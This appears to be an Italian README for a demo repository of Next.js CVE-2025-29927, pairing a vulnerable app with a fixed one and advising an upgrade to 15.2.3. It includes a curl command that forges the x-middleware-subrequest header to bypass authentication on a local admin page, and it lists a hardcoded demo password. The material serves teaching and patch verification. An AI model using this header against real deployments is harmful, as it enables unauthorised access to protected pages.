
Dimostrazione di Next.js CVE-2025-29927
Questo repository contiene una dimostrazione della vulnerabilità Next.js CVE-2025-29927, che interessa le versioni di Next.js 15.2.2 e precedenti. La vulnerabilità consente agli attaccanti di bypassare i controlli di autenticazione del middleware impostando un header x-middleware-subrequest.
Questo è un monorepo NX contenente due applicazioni Next.js:
Nelle versioni di Next.js precedenti alla 15.2.3, è presente una vulnerabilità di sicurezza nell'implementazione del middleware. Il middleware non valida correttamente l'origine dell'header x-middleware-subrequest, consentendo agli attaccanti di falsificare questo header e bypassare i controlli di autenticazione basati sul middleware.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
L'app vulnerabile sarà disponibile all'indirizzo http://localhost:3000.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
L'app corretta sarà disponibile all'indirizzo http://localhost:3001.
Puoi anche eseguire le app utilizzando Docker:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
Con la versione vulnerabile (15.2.2), potrai accedere alla pagina admin senza autenticazione aggiungendo l'header x-middleware-subrequest.
Con la versione corretta (15.2.3), il middleware valida correttamente l'origine di questo header e verrai comunque reindirizzato alla pagina di accesso.
A scopo dimostrativo, puoi accedere con:
adminpassword123Se utilizzi Next.js in produzione, assicurati di aggiornare alla versione 15.2.3 o successiva per proteggerti da questa vulnerabilità.